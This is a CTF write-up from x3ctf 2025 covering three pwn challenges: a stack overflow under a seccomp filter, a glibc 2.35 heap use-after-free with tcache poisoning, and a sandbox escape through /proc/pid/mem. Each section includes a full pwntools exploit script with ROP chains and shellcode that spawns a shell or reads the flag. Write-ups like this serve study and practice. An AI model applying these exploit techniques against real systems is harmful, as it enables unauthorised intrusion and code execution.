nyyyddddn

x3ctf

2025/01/27

pwn

devnull-as-a-service

description

A few months ago, I came across this website. Inspired by it, I decided to recreate the service in C to self-host it.
To avoid any exploitable vulnerabilities, I decided to use a very strict seccomp filter. Even if my code were vulnerable, good luck exploiting it.
PS: You can find the flag at /home/ctf/flag.txt on the remote server.

程序逻辑很简单,gets栈溢出,静态链接没有pie但是开启了seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
dev_null();
return 0;
}
__int64 dev_null()
{
char v1[8]; // [rsp+8h] [rbp-8h] BYREF

puts("[/dev/null as a service] Send us anything, we won't do anything with it.");
enable_seccomp();
return gets(v1);
}

seccomp规则,可以使用openat代替open然后read wrtie将flag读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1c 0xc000003e if (A != ARCH_X86_64) goto 0030
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x19 0xffffffff if (A != 0xffffffff) goto 0030
0005: 0x15 0x18 0x00 0x00000002 if (A == open) goto 0030
0006: 0x15 0x17 0x00 0x00000003 if (A == close) goto 0030
0007: 0x15 0x16 0x00 0x00000012 if (A == pwrite64) goto 0030
0008: 0x15 0x15 0x00 0x00000014 if (A == writev) goto 0030
0009: 0x15 0x14 0x00 0x00000016 if (A == pipe) goto 0030
0010: 0x15 0x13 0x00 0x00000020 if (A == dup) goto 0030
0011: 0x15 0x12 0x00 0x00000021 if (A == dup2) goto 0030
0012: 0x15 0x11 0x00 0x00000028 if (A == sendfile) goto 0030
0013: 0x15 0x10 0x00 0x00000029 if (A == socket) goto 0030
0014: 0x15 0x0f 0x00 0x0000002c if (A == sendto) goto 0030
0015: 0x15 0x0e 0x00 0x0000002e if (A == sendmsg) goto 0030
0016: 0x15 0x0d 0x00 0x00000031 if (A == bind) goto 0030
0017: 0x15 0x0c 0x00 0x00000038 if (A == clone) goto 0030
0018: 0x15 0x0b 0x00 0x00000039 if (A == fork) goto 0030
0019: 0x15 0x0a 0x00 0x0000003a if (A == vfork) goto 0030
0020: 0x15 0x09 0x00 0x0000003b if (A == execve) goto 0030
0021: 0x15 0x08 0x00 0x00000065 if (A == ptrace) goto 0030
0022: 0x15 0x07 0x00 0x00000113 if (A == splice) goto 0030
0023: 0x15 0x06 0x00 0x00000114 if (A == tee) goto 0030
0024: 0x15 0x05 0x00 0x00000124 if (A == dup3) goto 0030
0025: 0x15 0x04 0x00 0x00000125 if (A == pipe2) goto 0030
0026: 0x15 0x03 0x00 0x00000128 if (A == pwritev) goto 0030
0027: 0x15 0x02 0x00 0x00000137 if (A == process_vm_writev) goto 0030
0028: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0030
0029: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0030: 0x06 0x00 0x00 0x00000000 return KILL

但是程序中找不到syscall ;ret 这类gadget,需要连续三次系统调用,想了一下直接用mprotect将bss的权限改成r | w | x的,往里面写orw_assemble直接跳过去就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "cbcff503-864f-49dc-9196-00d2958e5668.x3c.tf"
PORT = 31337

elf = context.binary = ELF('./dev_null')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

# p = process('./dev_null')
p = remote(IP, PORT, ssl=True)

pop_rax_ret = 0x000000000042193c
pop_rdi_ret = 0x0000000000413795
pop_rsi_rbp_ret = 0x0000000000402acc
pop_rdx = 0x000000000046ddce # 0x000000000046ddce : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
bss = 0x4ae000

gets = 0x405A20
mprotect = 0x41AAF0
main = 0x401EA7

# mrpotect(bss,0x1000,7) r | w | x
payload = b'a' * 0x10
payload += p64(pop_rdx) + p64(0x7) + p64(0) + p64(0) + p64(0) + p64(0)
payload += p64(pop_rdi_ret) + p64(bss) + p64(pop_rsi_rbp_ret) + p64(0x2000) + p64(0)
payload += p64(mprotect) + p64(main)
sla("[/dev/null as a service]",payload)


# read orw_asm & jmp orw_asm
payload = b'a' * 0x10
payload += p64(pop_rdi_ret) + p64(bss + 0x100) + p64(gets) + p64(bss + 0x100 + 0x10)
sla("[/dev/null as a service]",payload)

payload = b'./flag.txt'
payload = payload.ljust(0x10,b'\x00')
payload += asm('''
mov eax,257
mov edi,0xffffff9c
mov esi,0x4ae100
xor edx,edx
syscall
mov eax,0
mov edi,3
mov esi,0x4ae000
mov edx,0x30
syscall
mov eax,1
mov edi,1
mov esi,0x4ae000
mov edx,0x30
syscall
''')
# g(p)
sl(payload)


p.interactive()

pwny-heap

description

ponys like the heap so i made pwny heap

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

glibc 2.35的堆,程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-10h] BYREF
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
sub_1269();
v4 = 0;
printf("> ");
__isoc99_scanf("%d", &v4);
if ( v4 == 5 )
return 0LL;
if ( v4 > 5 )
goto LABEL_15;
if ( v4 == 1 )
{
sub_137D();
}
else if ( v4 <= 0 || (unsigned int)(v4 - 2) > 2 )
{
LABEL_15:
printf("invalid option...");
}
else
{
v5 = sub_12A7();
if ( v4 == 2 )
{
sub_147A((char *)&unk_4060 + 24 * v5);
}
else if ( v4 == 3 )
{
sub_1283();
sub_14A4((char *)&unk_4060 + 24 * v5);
}
else
{
sub_14D5((char *)&unk_4060 + 24 * v5);
}
}
}
}
__int64 sub_12A7()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("index: ");
__isoc99_scanf("%d", &v1);
return v1;
}

int sub_1283()
{
int result; // eax

do
result = getchar();
while ( result != 10 && result != -1 );
return result;
}

int sub_1283()
{
int result; // eax

do
result = getchar();
while ( result != 10 && result != -1 );
return result;
}

_BYTE *sub_137D()
{
_BYTE *result; // rax
unsigned int v1; // [rsp+4h] [rbp-Ch]
__int64 size; // [rsp+8h] [rbp-8h]

v1 = sub_12A7();
size = sub_1311();
result = (_BYTE *)sub_1283();
if ( v1 <= 0x13 && size )
{
if ( dword_4240 > 18 )
{
printf("ur bad, try again...");
exit(0);
}
++dword_4240;
*((_QWORD *)&unk_4060 + 3 * (int)v1) = malloc(size);
*((_QWORD *)&unk_4068 + 3 * (int)v1) = size;
result = byte_4070;
byte_4070[24 * v1] = 0;
}
return result;
}

__int64 __fastcall sub_147A(__int64 a1)
{
__int64 result; // rax

free(*(void **)a1);
result = a1;
*(_BYTE *)(a1 + 16) = 1;
return result;
}

int __fastcall sub_14A4(const char **a1)
{
return printf("here is some data for you buddy: %s", *a1);
}

int __fastcall sub_14D5(const char **a1)
{
if ( *((_BYTE *)a1 + 16) == 1 )
{
puts("that won't work...");
exit(0);
}
printf("write something in: ");
sub_1283();
fgets((char *)*a1, (int)a1[1], stdin);
return printf("%s", *a1);
}

有uaf但是存在一个自定义的inuse标志位,在写数据的时候会检查这个标志位,可以通过ptmalloc分配策略绕过这个标志位的检查,在某某大小的bin为空的情况下,可以通过create(0,0x78) delete(0) create(1,0x78) 这个方法让chunklist中有两个相同的地址,但是标志位不同的堆块,之后就可以编辑free状态的堆块了.

放两个堆块进unsortedbin,一个用于泄露libc 一个用于泄露堆地址,拿到堆地址后就可以绕过safe link用tcache poison实现任意地址申请,首先泄露environ的地址拿到栈地址,然后申请到main函数栈帧覆盖main的返回地址 往里面写rop 最后 exit触发rop getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "784b6860-8a10-42ee-b739-353dc844ff01.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./pwny-heap')
libc = elf.libc

def connect():
return remote(IP, PORT,ssl=True) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

def create(idx,size):
sla(">","1")
sla("index:",str(idx))
sla("size:",str(size))

def delete(idx):
sla(">","2")
sla("index:",str(idx))

def show(idx):
sla(">","3")
sla("index:",str(idx))

def edit(idx,content):
sla(">","4")
sla("index:",str(idx))
sa("write something in:",content)


create(0,0x508)
create(1,0x88)
create(2,0x508)
create(3,0x88)
delete(0)
delete(2)

show(0)
ru("here is some data for you buddy: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x73d193e1ace0 - 0x73d193c00000)
log.info(f"libc_base: {hex(libc_base)}")

show(2)
ru("here is some data for you buddy: ")
heap_base = u64(r(6).ljust(8,b'\x00')) - (0x624da112c290 - 0x624da112c000)
log.info(f"heap_base: {hex(heap_base)}")

# reset
create(0,0x508)
create(2,0x508)

create(4,0x88)
delete(4)
create(5,0x88) # chunklist[4] == chunklist[5]
create(6,0x88)

# 5 -> 6
delete(6)
delete(4)

pos = heap_base + (0x5c2ff55adde0 - 0x5c2ff55ad000)
target = libc_base + libc.sym['__environ']
edit(5,p64((pos >> 12) ^ target) +b'\n') # tcache poisoning
create(4,0x88)
create(6,0x88) # environ
show(6)
ru("here is some data for you buddy: ")
stack = u64(r(6).ljust(8,b'\x00'))
log.info(f"stack: {hex(stack)}")

create(7,0x78)
delete(7)
create(8,0x78)
create(9,0x78)

delete(9)
delete(7)
pos = heap_base + (0x62bb4e2a1f00 - 0x62bb4e2a1000)
target = stack - (0x7fffb0f9d598 - 0x7fffb0f9d450 - 0x20) # main_return_address
edit(8,p64((pos >> 12) ^ target) + b'\n')
create(9,0x78)
create(7,0x78) # tcache poisoning

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9
payload = b'a' * 0x8 + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
payload = payload.ljust(0x77,b'a') + b'\n'
edit(7,payload)

sla(">","5")
p.interactive()

secure-sandbox

description

I love to make little games. But this time something seems to be different. If you win you might even get a flag…

no pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // edx
int v5; // ecx
int v6; // r8d
int v7; // r9d
int v9; // [rsp+Ch] [rbp-1014h]
char v10[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v11; // [rsp+1018h] [rbp-8h]

v11 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2LL, 0LL);
setvbuf(stdout, 0LL, 2LL, 0LL);
setvbuf(stderr, 0LL, 2LL, 0LL);
title();
v3 = getpid();
printf((unsigned int)"\n[+] started hypervisor with pid: %d\n\n", v3, v4, v5, v6, v7);
puts("Your shellcode:");
v9 = read(0LL, v10, 4096LL);
setup_sandbox((__int64)v10, v9);
puts("thank you for trusting our product.");
return 0;
}

unsigned __int64 __fastcall setup_sandbox(__int64 a1, int a2)
{
int v2; // edx
int v3; // ecx
int v4; // r8d
int v5; // r9d
int v6; // edx
int v7; // ecx
int v8; // r8d
int v9; // r9d
int v11; // edx
int v12; // ecx
int v13; // r8d
int v14; // r9d
int v15; // [rsp+18h] [rbp-18h] BYREF
unsigned int v16; // [rsp+1Ch] [rbp-14h]
void (*v17)(void); // [rsp+20h] [rbp-10h]
unsigned __int64 v18; // [rsp+28h] [rbp-8h]

v18 = __readfsqword(0x28u);
v16 = fork();
if ( (int)v16 <= 0 )
{
printf((unsigned int)"[+] sandbox: executing shellcode with length: %d...\n", a2, v2, v3, v4, v5);
v17 = (void (*)(void))mmap64(0LL);
if ( v17 == (void (*)(void))-1LL )
{
puts("mmap failed.");
exit(1LL);
}
printf((unsigned int)"[+] sandbox: shellcode page: %p\n", (_DWORD)v17, v11, v12, v13, v14);
j_memcpy(v17, a1, a2);
setup_seccomp();
v17();
exit(0LL);
}
printf((unsigned int)"[+] hypervisor: started sandbox with pid: %d\n", v16, v2, v3, v4, v5);
puts("[*] hypervisor: waiting for sandbox to terminate...");
waitpid(v16, &v15, 0LL);
printf((unsigned int)"[+] hypervisor: sandbox finished with status code: %d\n", BYTE1(v15), v6, v7, v8, v9);
return v18 - __readfsqword(0x28u);
}

子进程中设置了seccomp bpf并且可以执行shellcode,bpf规则是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0012
0006: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0012
0007: 0x15 0x04 0x00 0x00000003 if (A == close) goto 0012
0008: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 0012
0009: 0x15 0x02 0x00 0x00000014 if (A == writev) goto 0012
0010: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0012
0011: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL

可以发现orw差个r,但有lseek系统调用且程序没有pie,seccomp的规则只在子进程中生效,可以利用linux映射到文件系统奇奇怪怪的接口,如open proc/pid/mem配合lseek去读写父进程中的内存,因为是在内核态进行的,所以text段 rdata这些用户态看来没有写权限的段也可以写,利用writev在waitpid地址后写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000401C8A E8 F1 77 04 00                call    waitpid
.text:0000000000401C8A
.text:0000000000401C8F 8B 45 E8 mov eax, [rbp+var_18]
.text:0000000000401C92 C1 F8 08 sar eax, 8
.text:0000000000401C95 0F B6 C0 movzx eax, al
.text:0000000000401C98 89 C6 mov esi, eax
.text:0000000000401C9A 48 8D 05 9F 39 09 00 lea rax, aHypervisorSand ; "[+] hypervisor: sandbox finished with s"...
.text:0000000000401CA1 48 89 C7 mov rdi, rax
.text:0000000000401CA4 B8 00 00 00 00 mov eax, 0
.text:0000000000401CA9 E8 32 97 01 00 call printf
.text:0000000000401CA9
.text:0000000000401CAE 90 nop
.text:0000000000401CAF 48 8B 45 F8 mov rax, [rbp+var_8]
.text:0000000000401CB3 64 48 2B 04 25 28 00 00 00 sub rax, fs:28h
.text:0000000000401CBC 0F 84 BD 00 00 00 jz locret_401D7F
.text:0000000000401CBC
.text:0000000000401CC2 E9 B3 00 00 00 jmp loc_401D7A

writev需要构造一个iovec的结构体,shellcode的构造可以低地址写字符串,结构体以及shellcode,高地址写open lseek writev的系统调用,之间用相对偏移跳转链接

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "ce563048-c0fe-408f-90f4-6f35fa1de3f5.x3c.tf"
PORT = 31337
elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
return remote(IP, PORT,ssl=True) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

p = connect()

ru("[+] started hypervisor with pid: ")
pid = int(rl())
log.info(f"pid: {pid}")

shellcode = asm('''
lea r15,[rip]
and r15,0xffffffffffffff00
''')
shellcode = shellcode.ljust(0x10,b'\x90')
shellcode += asm('''
jmp $+0xf0
''')
shellcode = shellcode.ljust(0x20,b'\x90')
shellcode += b'/proc/'+str(pid).encode()+b'/mem\x00' # r15 + 0x20
shellcode = shellcode.ljust(0x30,b'\x90')

# struct iovec {
# void *iov_base;
# size_t iov_len;
# };
shellcode += p64(0x114514) + p64(0x40) # r15 + 0x30
shellcode = shellcode.ljust(0x40,b'\x90') # r15 + 0x40
shellcode += asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')
shellcode = shellcode.ljust(0x100,b'\x90')

shellcode += asm('''
mov rax,2
mov rdi,r15
add rdi,0x20
mov rsi,2
syscall

mov r14,r15
add r14,0x40
mov [r15 + 0x30],r14

mov rax,8
mov rdi,3
mov rsi,0x401C8F
mov rdx,0
syscall

mov rax,20
mov rdi,3
mov rsi,r15
add rsi,0x30
mov rdx,1
syscall

mov rax,60
xor rdi,rdi
syscall
''')

# gdb_comm = "b *0x401D6E"
# gdb.attach(p,gdb_comm)

sla("Your shellcode:",shellcode)


p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. devnull-as-a-service
    2. 1.2. pwny-heap
    3. 1.3. secure-sandbox